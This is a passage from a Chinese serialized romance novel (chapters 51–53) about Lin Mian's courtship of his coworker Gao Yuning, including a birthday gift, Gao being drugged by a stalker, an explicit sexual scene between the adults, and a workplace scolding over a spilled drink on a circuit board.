林缅又看向徐语常,“你怎么什么东西都有?” “上次帮小行买完之后还有剩的,就在车上,你要给你哥试试吗?”徐语常视线淡淡地在他脸上扫过,故意说,语气却轻描淡写。 林缅像是听到一声轰鸣,把脑子里的秩序和措辞都炸得稀巴烂,直接红着脸嚷嚷,“你说什么呢!” “这也太不道德了!” “你俩别这么看我!我是不会对我哥做这种事情的!”林缅被两人笑而不语的目光架在火上烤,脸胀得通红,拿起酒杯痛饮了一口,冰凉的酒水让他冷静了一点。 沉默了片刻后,他又慢吞吞地继续说,“而且…我哥会很难受啊…” 说话间,远远看见一个熟悉的身影跟着酒保走上二楼台阶。 郜屿宁加班结束回家换下了西装,穿了件干净明了的黑色T恤,身形高挑,发型随意地往后抓,眉目清隽,气质卓越。 “哥!”林缅从沙发上蹦起来,脸上的愁容消失不见。 纵然酒吧里音乐强劲,没人听得清林缅黏黏糊糊地喊哥哥,但是看他小跑过去的模样全然没有刚刚不可一世的小少爷架势。 还剩最后两级台阶,郜屿宁站定了揽住冲过来迎接的林缅,低声说,“小心点。” 林缅顺势把脑袋搭在郜屿宁的肩膀上,轻轻嗅了一下,闻到熟悉的味道后才抱怨,“你怎么才来,好无聊。”郜屿宁微抬嘴角,揽在林缅后腰的手轻轻捏了捏。 但从两人亲昵的模样,还是能窥见私下里林缅粘人劲儿的其中一二,又如此养眼的一幕引得众人侧目,包括楼下那些从郜屿宁出现就追在他身上的目光。 视线从这耐人寻味的一幕上收回之后,陈汋和徐语常对视了一眼。 50-60 第51章 第51章[VIP] 郜屿宁跟着他进了家门, 室内收拾得还算干净,但是空荡荡的,门外的东西还没有搬进来。格局和郜屿宁的家有些差异, 也比他的那套再小一点。 “哥你坐一会。”林缅说完就跑进最里面的房间,抱出来一个差不多正方形的白色箱子,上面写着些日文英文, 坐到郜屿宁的旁边,一脸神秘, “哥, 你猜猜看, 这是什么?” 郜屿宁弹了一下纸盒上的英文商标, “这不是头盔的牌子吗?” 林缅惊喜地说,“猜对啦!” “但是这可不是普通的头盔哦,”林缅把腿上的箱子放到茶几上,站起身拆开盒子,双手伸进去, 抱出一个泛着黑色光泽的头盔。 “这可是我专门订制的!”林缅又坐回他的身边,他宝贝的抱在怀里, “你知道吗?这个牌子不接订制, 后来我另外找了日本很有名的一家工作室才做出来的, 你看上这个护镜、还有这些喷涂, 都是我自己设计的。” 郜屿宁愣了一下,“为什么突然送我头盔?” “不突然啊, 不是你生日嘛?”林缅抿了抿嘴, 坦白道, “其实去年暑假去日本的时候我就计划好了,但是因为订制需要的时间很长, 所以最近才拿到,好在赶上你生日了。” 郜屿宁看着头盔,手指轻轻摩挲在整个头盔唯一一处亮色上,很小的一片,在下颌带有一只小小的白色的小狗,天上飘着蓝色的细雨,小狗爪子在水潭上踩出水花,和头盔同向,朝前奔跑。 “我知道你不喜欢花里胡哨的,所以只敢加一点点亮色,”林缅也摸摸那只小狗,整个头盔是亮面的,只有这只小狗是磨砂漆面,一点点感受它在指腹的起伏。 他又说,“你放心,只有这个是和我有关系的,其他设计都是正儿八经的。”头盔在他手里翻来覆去,他眉飞色舞地跟郜屿宁介绍这里的纹路那里的配色,终于介绍完了,他起身,“戴一下吧,哥哥。” 郜屿宁接过来准备自己戴,林缅却抱着头盔躲开,“我来。” 郜屿宁举起的手放下来,手撑在沙发上,上身微微后仰,林缅一条腿跪在沙发上,动作轻缓地给他戴上。 “正好。”郜屿宁声音有些哑。 林缅很得意,一只手搭在郜屿宁的肩膀上,低头看着他说,“对吧我就说我很了解你,那个店员还说一定要本人试戴呢。” 郜屿宁抬手准备把护镜推上,林缅却拦住。 他低头看着深色的护镜,只能将将反射出自己的样子,看不见郜屿宁的眼睛,他深吸一口气,语气沉稳很多,“我送你头盔是因为,希望骑车的时候它能代替我陪着你,让你一直安心,一直保护好你,我也会长大的,也可以保护你。” “也不会再叫你操心。”林缅吸了吸鼻子,说得有些心虚,因为这样的话他好像一直在说,但又一直在叫郜屿宁操心。 但是他又很快地解释,“这次是真的!我发誓!之前是我不好,有误会也应该早点跟你问清楚或者解释清楚的,还总是任性、口不择言,白白伤你的心” 郜屿宁抬手把目镜推上,只露出一双眼睛,对视两秒,笑了一声,“今天怎么突然开始说人话了?” “哎呀,你别管了作为追求者我要跟你坦白的,”林缅面向他认真交代,“我从一开始喜欢的就是你,没有喜欢过吕文晗,你不要因为他吃醋了” 郜屿宁视线从他脸上移开,“谁吃醋了。” 抬起手把头盔摘下来,低下头捋了一把被压乱的头发。 “我应该也不是同性恋,我只喜欢你,只会对你有反应,”林缅坐了下来,事无巨细地交代,思量了两秒,继续说,“你要看我的资产证明吗?” 郜屿宁被他逗笑了,“干什么?包.养?” “我才舍不得。”林缅撇了撇嘴。 “舍不得钱。”郜屿宁打岔。 林缅气得锤了他手臂一下,“舍不得你!” 他接着说,“对了,我家门的密码是你的生日。” 郜屿宁脸上的笑微微凝住,喉结滚了一下,视线在头盔上定了好几秒,思忖了一会回答,“林缅,你不用” 林缅突然皱着眉,一只手扶着他的后颈,另一只手捂住他的嘴巴,倒吸一口凉气,但很认真地说,“哥,你不管说多难听的话我都不会离开的,因为你对我是很重要很重要的人,你早就知道的。” 林缅说完扭头看了眼时间,又转回来,赶紧说,“哥哥生日快乐。” “知道你健身,而且你也不喜欢吃甜的,所以今年才没有准备蛋糕,不是忘记了。” 林缅突然两只手捧住自己的脸蛋儿,歪着脑袋,对郜屿宁眨巴了两下眼睛,“但是你可以把我当成小蛋糕,对我许愿,我全都会帮你实现。” 生动可爱得要命。 郜屿宁的眼睛微不可查地闪了一下,像是平静的潭水有一阵风刮过,一只蜻蜓轻轻点水,漾开一圈涟漪。他舔了舔有些干涩的嘴唇,撇开眼睛,“幼稚。” 说完起身把头盔放进箱子,轻咳了一声朝门口走去,“走了,最近不骑车,放你这保管。” “试试看嘛!哥哥!”林缅娇嗔的声音在身后响起。 直到门板快要关上,林缅才说,“那哥哥晚安!” 郜屿宁背对着他,声音懒懒的,拉着尾音,看似敷衍地回答,“晚安。” 第二天林缅一起床,就兴冲冲地跑去扒郜屿宁家的猫眼,谁料郜屿宁正好开门,没收住力朝后踉跄了两步。 他笑嘻嘻地问好,“哥,早上好。” 郜屿宁扫了他一眼,朝电梯间走去,“嗯,好。” 林缅陪他站到电梯间,犹豫了两秒,“哥,我以后能跟你一起上下班吗?” “有你这么追人的?还带蹭车?”郜屿宁哼笑着说,“好事全让你给占了。” 林缅有些迫切地问,“那我来开呢?我开我自己的车。” “算了吧,你那些车我可不敢坐。” 林缅料到会被拒绝,林准送的车都好高调,当他小孩子在哄。除了价格之外,引擎轰鸣,要么颜色鲜艳,要么干脆车身上还有大面积的假面骑士喷涂,所到之处没人不行注目礼。一向喜欢低调和极简的郜屿宁才不肯坐他的车,更别说是去上班了,真够丢人的。 林缅悻悻地说,“那条路禁摩,我以后打车去吧。” 郜屿宁随便他,从这里到公司不算近,一来一回的打车费估计能抵半天的工资,少爷愿意贴钱上班他能有什么话说。 到了公司,林缅一整天都在车间忙活,心情还不错,哪里需要就往哪里跑,勤快的很。 回到工位的时候,却看到几个人凑在一起议论纷纷,时不时朝郜屿宁的办公室门口瞥几眼,他经过他们时竖长了耳朵。 “那个好像是擎尤的老板” 林缅瞪大了眼睛,差点吓出一个激灵,赶紧溜回自己工位。 “啊不是吧,不是说是个老头吗?哪有这么年轻这么帅啊” “那反正也是个高层了,网上有张什么项目的合照上看到过。” “郜总之前不也是擎尤的吗?他们高层之间不认识才奇怪吧。” 办公室里,要谈的工作早就结束了,林准却迟迟不走。他拨开百叶窗,朝林缅的位置上看了一眼,等了一下午终于看到他人影了。 “郜屿宁,你到底给我弟弟灌了什么迷魂药?”林准不爽地转身看了他一眼。 “小孩子图新鲜,”郜屿宁看着屏幕,面无表情地说,“你要是能带回去你带回去,谁拦你了。” 语气平淡,但林准听上去不知道是在炫耀还是挑衅。 郜屿宁看向他问,“你告诉他我在这上班的?” 林准坐回沙发上,“我贱不贱?把弟弟朝你身边推。”思量了一会回答,“应该是他朋友什么的查到的。” 郜屿宁收回视线。 林准有些发愁,继续问,“他最近怎么样?这两天都找不到他人影,去学校说在家,去他家说是在朋友家,不知道在忙什么?” 郜屿宁回答,“反正比在擎尤的时候听话。” 林准吃瘪地冷哼了一声,但转念又说,“没想到你们这还挺有人文关怀的,我刚刚上楼的时候还看到你们这楼下还有领玫瑰花的活动。” 郜屿宁顿了一下,“什么玫瑰花?” “就是那种,求婚或者表白的玫瑰花啊,999朵,就在你们这幢写字楼门口,经过的人任取。” 郜屿宁反应过来,今天早上来上班的时候,办公室里的花已经不见了,本以为是陆停言他们叫人收走了,原来是林缅扛到楼下去了。 他突然笑了一声。 林准看了他一眼,无语地叹了口气,“我走了。” “不送了,我也不留你在我们园区食堂吃晚饭。”郜屿宁也不客气。 林准开门出来,办公室里细细索索的声音突然消停下来,林缅视线和他撞上立刻又心虚地撇开,假装不认识。生怕林准来跟他说些有的没的,叫身边的人知道他是谁谁谁家的啥啥啥。 好在林准只是恨铁不成钢地看了他一眼,就朝门口走去了。 林缅若有所思地对着郜屿宁的办公室发了会呆,正准备起身,门却从里面打开了,陆停言正好下班,两人在办公室门口相遇。 “下班一起走啊?”两人一起朝电梯间走去。 “不是,物业突然给我打电话,说我们公司上次安全检修有问题,叫我去一趟登记一下。”郜屿宁回答。 陆停言疑惑,“怎么叫你去?这不是归魏连管?” “魏连不是不在吗,估计打他电话没人接。”郜屿宁看了眼时间,“我先去了,他们快下班了。” 林缅看着两人的背影消失在拐角,只好重新靠回椅背上,百无聊赖地转着椅子,等郜屿宁回来。 周围的同事都三三两两地走了,等到车间的几个工程师都回办公区收拾东西了,林缅还在工位上装模作样的整理资料。 “小缅还不下班啊。”林缅干活很勤快说话做事也讨人喜欢,常打交道的几个工程师都很喜欢他。 林缅抬起头,“嗯今天要交给郜总。” “辛苦啦。” 林缅摆摆手跟他们再见。 待人走后,整间公司一下子安静下来,林缅觉得心里空落落的,看了眼时间已经过去将近两个小时了,外面天色像是蓝墨打翻那样的暗。 他直接起身朝郜屿宁的办公室走去,轻轻推开门,桌上的文件也没整理,电脑上的程序还开着,包也还在沙发上,就是还没下班的样子。 林缅微微皱眉,像是细绳吊着一块儿摇摇欲坠的石头似的,逐渐不安起来,他直接拿出手机拨通了郜屿宁的电话。 苍白的嘟声一记一记地敲着那块在空中摇晃的石头,直到变成急促的忙音。林缅吸了一口凉气,又打了一个电话,还是不接。 林缅直接朝电梯口跑去,手上的电话也没有停过。 他终于等到电梯,摁了二楼的楼层,记得之前去那里办过门禁,物业的办公室大概都在那里。 但楼道里几乎已经是漆黑的一片,现在这个时间物业早就下班了,他走到最里面一间透着光亮的值班室,紧张地咽了咽口水,“你好,请问安全检修登记的地方在哪里呀?” 里面的人转过来,有些茫然地看向他,“安全检修就是我们这儿负责的。” 林缅抬头看了眼门口的牌子,写着维修值班室,他深吸一口气正要问,对方却说,“但我们这里最近没有找人登记啊。” 林缅不由自主地轻轻“啊?”了一声,胸口的那块石头又开始摇晃起来,他点了点头,退了出去,在昏暗的走道里疾走着,把每一间办公室的门都拍得作响,闹出很大的动静。 “诶不是,你干什么?”值班室里的人愣了一下,走了出来。 “找人!”林缅如鲠在喉,咽了咽口水,冒着气焰回答他。 那人声音小了下来,“都下班了,没人了啊找人去门口保安室啊”丢下一句就回了办公室,随他去了。 林缅站在最后一间办公室的门口,有些泄力地撑在门板上,喘着粗气,准备拿出手机给保安室打电话。 但屏幕突然亮了起来,看到郜屿宁的来电显示,林缅睁大了眼睛,赶紧接了起来,“喂?喂!哥,你在哪里,怎么不接我电话!” “楼道的杂物间我听到你声音了”对面声音夹杂着电流声,显得更加虚力。 林缅愣了一下,他从没有停过郜屿宁这样虚弱的声音,他的眼泪止不住要往下落,“好、好,你等我一下,我马上过来” “林缅,我没事”郜屿宁咳嗽了好几声。 楼道里的灯坏了,只有绿色的逃生标志发出暗幽幽的光,现在他一门心思扑在借着微弱的光亮朝前摸索,电话还没有挂,两人都能听到对方的呼吸。 他终于看到杂物间的门,他赶紧跑过去准备转门锁,却发现是锁住的。 “哥!哥你被锁住了吗?”林缅拍了拍铁门,发出硬碰硬的声响,他耳朵贴在门板上,“哥,你在里面吗?” 里面发出响动,林缅赶紧说,“你等着,我找人帮你把锁撬开。” 转身就要走,郜屿宁的声音从听筒里传出来,“别我自己锁的。” 随着门锁的声响,锈迹斑斑的铁门从里面打开了一条缝,林缅愣怔着朝前走了两步,抬手把门推开。 郜屿宁坐在门口的地上,背靠着墙壁,手臂落回膝盖上,抬头看向他,喘着粗气,胸口一起一伏。 即便黑暗中也能看得出他面色潮红,眼神迷离,额角沁出的汗水随着他的呼吸从侧脸滑下一滴,衣领的扣子和领带都被扯乱,露出脖颈上好几道被抓红的印子。 一副被下了药的样.子。 作者有话说: 第52章 第52章[VIP] 他蹲到郜屿宁面前, 捧住郜屿宁发烫的脸,用冰凉的手给他降温,心疼得要命, “怎么回事,到底是谁干的!” 郜屿宁气息变得更急促了一些,喉结滚动。 林缅环视了一周, 没找见摄像头,急迫地说, “哥, 你要在这里, 还是回去?” 郜屿宁微怔, “我打给你,不是为了要” “我知道!”林缅近乎怒吼着打断他,直接跨坐到郜屿宁的身上,解他的皮带。 郜屿宁拦住他的手,林缅抬起头, 两个人在黑暗中对视,只能借着手机屏幕的光亮才将将能把对方看清, 也能隐隐看见他额角忍出来的汗珠, “不用。” “什么不用!”林缅说话都要带起哭腔, 把他的手直接拨开, “是我要,可以了吧!” 他想起自己第一次以为自己吃药了, 那时候只是心理作用都要难受死了, 要是真吃了药的痛苦难以想象。 林缅不管不顾地把他的皮带彻底解开, 朝后挪了挪屁股,坐到他膝盖的位置。 “林缅。”郜屿宁嗓音嘶哑, 但忍得眼睛猩红,连耳后的神经都一直在跳。 “都什么时候了,瞎矜持个什么劲儿啊!”林缅摸了摸发酸的眼睛,脑子里只想帮他解决痛苦,说着上身直接伏了下去。 郜屿宁不住地发出一声闷哼,仰起头,滚了滚喉结。 即便很多次了,林缅对于这些事情还是显得不够得心应手。 脑后的发茬有被攥着的微微的痛感,暗暗使着劲。 ……… 郜屿宁扶着他脑袋的手要把他的头抬起,他却较起劲来。 他被呛了一口,抬起头咳嗽起来,努力平息后,伸出舌尖舔掉嘴角的咸味。 “是不是还是很难受?”漆黑一片中,林缅朝前爬了两步,凑近看到郜屿宁的并未好转神情,关切地询问。他直起身,直接解开自己的裤子。 郜屿宁声音嘶哑,“没有东西,会疼。” “哥,我现在不怕疼了,真的。”林缅忍着发颤的声线,只希望郜屿宁能好过一点。 “用腿。” 在伸手不见五指的杂物间相拥相泣,好像看不见彼此,过往的较劲和分歧也都被杂物间里的黑色垃圾袋藏了起来。 失去视觉的时候,其他的感官逐渐放大,汗水、津液、呼吸交织在一起,互相索取和交换。 只回归情欲本身这一件事,两人竟然已经这样熟悉彼此,契合到如此地步。 少见的,第二天郜屿宁醒来的时候,身边的人已经起床了。 他起身时,浑身酸胀得厉害,不像是单纯做.爱之后的酸痛,应该是吃了药物之后的反应。回想到昨晚上的事情,他把脸埋进手里,缓了一缓。 他走到客厅,林缅正在趴在沙发上,对着阳台发呆,一副心思沉重的模样。听到声音,扭头看到郜屿宁出来了,赶紧起身朝厨房走去,给郜屿宁端早餐。 郜屿宁有些不自然地清了清嗓子,视线随着他移动,“林缅” 林缅赶紧把盘子放到餐桌上,避之不及地抬起双手把自己的耳朵堵上,“啊啊啊啊啊!不听不听不听!” 郜屿宁张开的嘴有些无奈地重新闭上。林缅皱着眉,掀起眼皮朝他看了一眼,见他没有再说话才放下手。 “我知道,你又要说那些我不爱听的话,”林缅怨怼地扫了他一眼,“本来就是我在追你,做什么都是我愿意,你少说什么感谢帮忙、不要多想或者让我以后离你远一点之类的话,我一句都不要听。” “不”郜屿宁开口又被打断。 “你要叫我不要多想,你自己先不要多想才对。”林缅继续说,“如果是我,难道你不会帮我吗?” “会。”林缅难得说话有理有据,倒是把郜屿宁搞得哑口无言,嗓子滚了一下,“是我的问题。” 林缅皱了皱眉,气愤地拍了拍桌子,“是!就是你的问题!你错就错在不告诉我是哪个神经在追你。” 郜屿宁朝餐桌走了两步,不知道林缅大早上哪来这么大火气。 “你要是早说是那个物业的前台送的花,我也不至于当着他的面把花放门口,他能不以为我在挑衅吗!再加上他脑子真的有点问题,什么事情做不出来。”林缅又气又恼,更多的是心有余悸。 林缅狠狠瞪了他一眼,像极了想要亮出獠牙的小狗,实际上只露出了一对小虎牙。 郜屿宁自己一句话没怎么说,他喋喋不休个不停,“你今天吃错药了?” 林缅嗔怪地努了努嘴,“我担心嘛。” 他噼里啪啦说了一大堆,其实打了一夜的腹稿,生怕郜屿宁一觉醒来又要跟他保持距离。 他又赶紧补充,“你要是真介意,就当作什么都没发生,让我默默地继续追你就好了,我也不会以此威胁你的,得寸进尺的。如果你实在过意不去,就当是上次健身房那次还给你的。” “我会等你心甘情愿地和我在一起的。”林缅有些郑重地说。 郜屿宁舔了舔有些发涩的嘴唇,看了他一眼。 “少拿我当小弟弟、小屁孩儿看,就不会觉得我只是习惯黏着你了。”林缅嚼着豆沙包,嘴上说得头头是道。 郜屿宁觉得磕了药的像是他,大清早突然亢奋成这样,压着嘴角,突然有点想笑。 餐桌上终于安静下来。 林缅喝了一口豆浆,安静地吃了一会早饭,又开始时不时偷瞟一眼郜屿宁。 “想说什么就说。”林缅一有什么小心思都逃不过郜屿宁的眼睛。 “昨天我哥跟你说什么了?” 郜屿宁看向他,“那你现在是什么身份?同事、邻居,还是追求者。” 权限最高的弟弟一职刚刚被林缅自己剔除了,林缅撇着嘴,“我怕他逼你回去嘛,你知道的,我哥那个人就知道赚钱。” 郜屿宁回答,“你倒不如担心担心你自己。” 林缅有些天真地说,“那我也不回去,停我卡我也不怕,我现在都自己赚钱了。” 郜屿宁听笑了,到底是少爷。林缅每天打车上下班,动不动请同事喝下午茶,不爱吃园区食堂,每天都点高档餐厅的外卖,看样子从来没算过账。 说着他有些不自在地在凳子上扭了两下。 “上药了吗?”郜屿宁看了他一眼问。 林缅摇摇头,又小心翼翼地问,“你要帮我上吗?” 郜屿宁起身去房间拿了之前常备在床头柜抽屉里的药膏,直接坐到沙发上,林缅走了过来,睡裤松松垮垮,一脱就掉到脚后跟了。 林缅坐到沙发上,皮质的沙发触到温暖的皮肉,冷得他嘶了一声,他两手抱着膝盖双腿张开,面朝郜屿宁。 昨天晚上光线昏暗,现在才看清,大腿上白净的嫩肉被磨红了一片。他挤出透明的药膏,用指腹轻轻摩擦上去,能感觉到有些发肿。 郜屿宁喉结滚了一下,“药膏你带回去。” 林缅点了点头,但面色逐渐泛红,似乎忍耐得指甲要嵌进皮肉里。 眼看就要支起小帐篷,郜屿宁的手顿了一下。见状林缅赶紧起身把裤子拎上,恼羞成怒地说,“哎呀我又不是不行,我那么喜欢你,没反应才奇怪呢,你帮我,我再帮你,你再帮我…帮不完了都,” 郜屿宁看向他,偏过头轻咳了一声,似乎也有些尴尬。林缅起身撑着他的肩膀,赤着脚在地上找鞋。 “又不像做.爱,两个人都能爽…到时候还要说我耍流氓。我说了会好好追你,就是会好好追,不会再搞这些歪门邪道的了。”他念念有词着。 穿完鞋把郜屿宁手里的药膏抢了过来,直接开门回自己家去了。 林缅倒也不是突然开了窍的,其实每次都想着要和郜屿宁好好说话,但是最后总是忍不住自己的脾气,弄得不欢而散。 看到那一大捧玫瑰花,还有那些无所不用其极的手段,他才意识到追求一个人也是要有资格的,就像那个大玫瑰花就已经失去追郜屿宁的资格了,而且叫人非常的厌烦。 反观自己之前那些破门而入、咋咋唬唬的追求,竟然也是如出一辙的自以为是。 上次擅自进别人公司送花的事情郜屿宁没追究那个前台的责任,这次不可能就那么放过他,该投诉投诉,该报警报警,物业公司后续处理得也算妥当,事情也没闹大。 林缅非要陪着郜屿宁去派出所,听到郜屿宁和警察讲那个坏人是如何把他叫到办公室的,是如何骗他人不在让他坐下来等会的,是如何给他接了杯水的,又是如何差点霸王硬上弓得逞了的,巴拉巴拉。 听到动情之处,林缅声泪俱下,心有余悸,郜屿宁有些无语,还要当着别人的面反过来安慰他。 事情过去后,他也没追得太紧,比以前都分寸多了。每天都跟等老师表扬的小朋友似的,在工位上坐得笔直,公司里对视了就亮着眼睛眨巴眨巴,提前去食堂打饭占位置,殷勤得很。 吃饭的时候,陆停言揶揄,林缅都快成郜屿宁的小秘书了。 郜屿宁盯着手机还在回工作消息,抬眼看了眼林缅,只当他较劲儿的势头还没过去。 林缅当作表扬,喜滋滋地得意自己追人认真敬业。 陆停言又提了一嘴郜屿宁下周出差的事情,问他准备带谁去,郜屿宁还是盯着屏幕,随口回答还没定。 林缅在一旁偷听着,眼珠子转了起来。 接下来几天林缅工作更卖力了,最早上班,最晚下班,车间工位往返跑,就为了表现好点能让郜屿宁带他一块儿去。 没过两天,中午吃饭的时候,郜屿宁的另一边坐下了个人。 原本林缅是全公司唯一一个非要和三个老板坐一桌吃饭的人,林缅抬起头,绕过郜屿宁把目光投向那人。 是另一个实习生,白可鑫,他是第二个愿意和老板们吃饭的人,因为能请教郜屿宁一些问题。 要算起来,白可鑫还算是他的学长,在江理工读研,和林缅这种只能做做校准、记录之类杂活儿的不一样,白可鑫是真能帮上点忙的。 林缅竖着耳朵听两人谈话,越听眉头锁得越深,都是些他听不懂的东西。 白可鑫感谢完郜屿宁的答疑解惑之后,餐桌上安静了一会,都在继续进食。 白可鑫像是做了会心理准备似的,“郜总,您下周出差能带我一起去吗?” 林缅听得警铃大作,脑袋立刻抬了起来,看了过去,巴不得郜屿宁立刻拒绝,但郜屿宁愣了一下。 白可鑫有些紧张地赶紧补充,“差旅费什么的都可以从我的工资里扣。” 郜屿宁突然笑着问,“不是这个,为什么想去?” 白可鑫认真回答,“我想再多学点东西,虽然这个项目我只是帮秦工打下手,肯定没他这么合适,所以我只要能跟着去就可以,钱也可以自己出,希望也能帮上点忙。” 郜屿宁思量了两秒,直接回答,“可以带你去。” 作者有话说: 第53章 第53章[VIP] 回到车间里, 林缅心凉了下来,他倒在实验室外的沙发上,看了眼刚吃完饭也不午休就准备看文献的白可鑫。 “学长, 你怎么知道郜总下周要出差的?”林缅还以为自己得了第一手消息。 白可鑫愣了一下,“周一例会的时候,陆总提了一嘴。” 林缅有些心虚, 他开会也不是太认真,周一早上可能在打瞌睡, “哦……” 林缅坐在沙发上百无聊赖地划拉手机, 白可鑫干得都是正儿八经的活儿谦虚说自己是打杂的, 那自己这个真打杂的, 岂不是一点用场都派不上,竟然还痴心妄想能和郜屿宁一起出差。 林缅不自觉地掀起眼皮,暗暗打量起对面这个学长。 长相普通,头发是很规矩的刘海儿短发,但皮肤很白净, 显得脸颊上的几颗小痣很明显,并不是让人过目不忘的长相。 鼻梁上架着一副普通的半框眼镜, 镜片的边边上有一道明显被磕破了的痕迹, 如果仔细看, 其实还有点歪, 可能是眼镜腿的问题。 腿上的电脑很老旧,背面贴了些乱七八糟的贴纸, 颜色都已经被磨花了, 从打开到现在不过十分钟的时间, 散热风扇已经转疯了。 个子和他差不多,可能矮一点点, 但是感觉瘦得皮包骨。单看风格和举止,林缅会觉得他和吕文晗是一个类型的人,但平时打交道下来,才发现他认真但不认死理儿,情商高但不圆滑,性格随和,比吕文晗那个木头好交流好相处多了。 竟然也是个一点都挑不出错处的人。 吃饭时,听着郜屿宁和白可鑫能你一言我一语地交流专业上的东西,自己只懂个皮毛,一句也插不上嘴,林缅难免有些落寞。 一整个下午都跟霜打了的茄子一样,直到郜屿宁来车间他才回过些神。 郜屿宁直接朝实验台走去,问他们中午出问题的电路板调得怎么样了。 徐工有些发愁,“程序能下,一运行就跑飞。” 郜屿宁扫了眼示波器,眉头微蹙。 不远处的林缅咬着嘴皮,看着四五个人围在那,嘴里都是内核电源有毛刺、晶振波形、时序配置什么的,他愣神了片刻,因为自己上课只认真听到了绪论,平时实习也只是打打杂,他们嘴里的专业名字只懂个皮毛,更不知道该怎么解决,觉得自己一点忙都没帮上。 两个工程师有理有据地争起来,光听语气感觉都快要吵起来了,郜屿宁弯着身子看电脑上的程序。 林缅起身,走向饮水机,接了一杯水,朝实验台走去,两个正在辩论的工程师朝旁边撤了一步,给他让路,嘴上依旧没停。 他清了清嗓子,“郜总,您先喝口水…” 话还没说完,林缅踩到地上一张之前拆设备时未收干净的塑料纸,脚上打滑,伴随一阵惊呼,身子不可控地朝前倾去,郜屿宁转身眼疾手快地扶助了他,但他手上的杯子撒出一大片水,泼向了实验台。 精准地撒在了电路板上。 两个工程师的争论刹那间停住,突然安静下来,林缅瞪大了眼睛,连心跳都骤停了半秒。 还未等众人反应过来,白可鑫眼疾手快地关掉了实验台电源的总开关,然后再迅速拔下了板卡供电的直流电源插头。 将电路板面朝下,“我先用IPA把水冲掉。”说着把板子倒放过来,去处理了。 “林缅。”罱狌 林缅的身子不住地颤了一下,视线看向气焰难耐的郜屿宁,眼神冷厉,他下意识地低下了头。 “如果告诉你一张板子几十万你都会觉得不过如此是吧?” 林缅抿直了嘴唇,有些局促地扣着手指。 “如果这张板是别人调了几个月的心血,你是不是也无动于衷?” 林缅眼睛闪了一下,抬起头,摇了摇头,刚想说不是,郜屿宁的手指已经指到了他的鼻子尖,咬着牙说,“林缅,我告诉你,你要是这个态度,你趁早别干了!” 郜屿宁在公司几乎没有发过火,几个人沉默着手上忙活,听郜屿宁训林缅都要听出一身汗来。一旁的徐工清了清嗓子,开口,“其实” “垃圾为什么在这里?”郜屿宁置若罔闻,下巴抬了抬,对地上那张塑料纸。 林缅声音很小,“中午拆完设备忘记收拾了” 郜屿宁语气并未转好,比刚刚冷了一些,显得更加严厉。 “你来这里实习是图什么我不管也不感兴趣,但是你要是连最基本的工作都做不好,再有一次,就给我收拾东西滚蛋。” 林缅被当着众人的面训斥,脸热得感觉要滴血。 “可鑫,干燥箱好了。” 林缅闻声朝因为自己的过失而忙碌的几人看去,鼻子泛酸。 “大概等一天吧,看看能不能救回来。”徐工和郜屿宁说,白可鑫也跟了过来。 林缅吸了吸鼻子,急迫地问,“要等一天吗?不可以直接用热风枪吹吗?” 安静了一秒,郜屿宁抱起手臂,看着林缅,“白可鑫,告诉他为什么不能用热风枪?” 白可鑫顿了顿,解释道,“热风枪容易受热不均,会让板子变形,而且可能会有静电…” 林缅的心往下坠着,嘴皮都快被自己咬破,鼻子酸得快要泛上泪腺,郜屿宁直接收回视线,转身朝门口的方向离开。 郜屿宁回到办公区,原本琐碎的声音立刻消失了,和陆停言面对面都没打声招呼,直接进了办公室倒在转椅上,呼出一口浊气。 没过一会,门外的人敲了敲门板意思了一下,就直接推门进来了。 “怎么?弟弟的事儿?” 郜屿宁揉了揉发胀的太阳穴,扫了陆停言一眼,“工作。” 陆停言哼笑一声,“少来,上次那个供货商那么不要脸,你发完了火都是收拾好情绪再上班的。” “没干过一件省心的事儿。”郜屿宁暗骂了一声。 “小孩儿嘛,你总得给他点时间,慢慢成长,”陆停言看着郜屿宁愁眉不展的样子就想笑,“再说了,人家追你追得也挺有分寸,工作也挺负责的,你也稍微鼓励鼓励人家。” “负责?”郜屿宁冷笑了一声,“等他哪天把你几十万的板子都给烧了,看你还这么说吗?” 陆停言脸上的笑凝了一秒,郜屿宁直接把刚刚的事情从头到尾叙述了一遍。 陆停言这才安心下来,“害,你吓唬小孩儿干什么,那不就块刚开始调的板子吗?还是现成的买回来研究的,什么几十万几个月的心血。” 郜屿宁扫了他一眼。 “而且也没必要当着那么多人面训他吧?小缅看着挺乖脸皮挺薄的。” “他犯的错所有人都看着呢,我不骂他,骂他的就是别人了,背后不会说他?”郜屿宁有些烦躁地说,“也不知道平时毛手毛脚多少次了,不骂狠点他能往心里去吗?” “你也是用心良苦,”陆停言意味深长地感叹,又补充道,“别把人给骂跑了就行。” 郜屿宁抬起眼,面无表情地看向他。 陆停言被他看得心里发毛,“干嘛?你敢说他哥会把那么大项目给咱们公司做,和林缅一点关系没有吗?” “算计一个小孩儿你光荣是吧?”郜屿宁不爽地蹙眉,“陆停言,我告诉你,之前你们直接把他招进来就算了,那是他自己要来,但是之后他要是想走,你俩要是敢说一句不好听的” 陆停言直接打断了他,啧了一声,“诶,说这话你就过分了,我也挺喜欢弟弟的,他确实讨人喜欢,而且谁能拦得住少爷想来想去的,就当玩笑话这么一说,还真能把他当摇钱树啊” 郜屿宁面不改色地戴上眼镜,看向电脑屏幕。 陆停言看向他,有些不自然地轻咳了一声,“真这么在意就复合呗” 郜屿宁不为所动,淡淡地回答,“一码归一码。” 教育孩子归教育孩子,谈恋爱归谈恋爱。 “而且,我们没谈过。” 陆停言撇了撇嘴,阴阳怪气,“行,没谈过。”哼笑了一声,说着起身准备出门。 “林缅回来了吗?回来了叫他进来。” 陆停言喊林缅进办公室的时候,感觉办公室里的空气都凝固了片刻,连林缅都肉眼可见地又紧张起来。 陆停言笑着拍了拍他肩膀,“没事儿,去吧。” 林缅倒吸了一口凉气,站到郜屿宁办公室门口,两条腿上像是灌了铅一样朝前迈不动,轻叩了两下门,才发现门没关,这才缓慢地朝前挪动。 进了办公室,林缅垂着脑袋,两只手扯着衣服的下摆,俨然一副做错事挨罚的小学生模样。 郜屿宁扫了他一眼,冷声问,“委屈了?” 林缅松开抿住的嘴唇,“不是本来就是我做错了”人前忍了很久,也不知道为什么一和郜屿宁独处声音就忍不住地带上了哭腔。 “不委屈你哭什么?” 林缅又吸了一口气,勉强稳定住声线,“就是感觉自己又没表现好,又让你失望了。” 郜屿宁有些发愁地啧了一声,觉得这小孩儿完全搞错了重点,“林缅,你干活不是干给我看的,你实习也不是为我实习的,你学习也是,这你能明白吗?” 可能因为刚刚跟陆停言发作了一通,怒火消散了一些,郜屿宁现在的语气倒显得有些苦口婆心了。 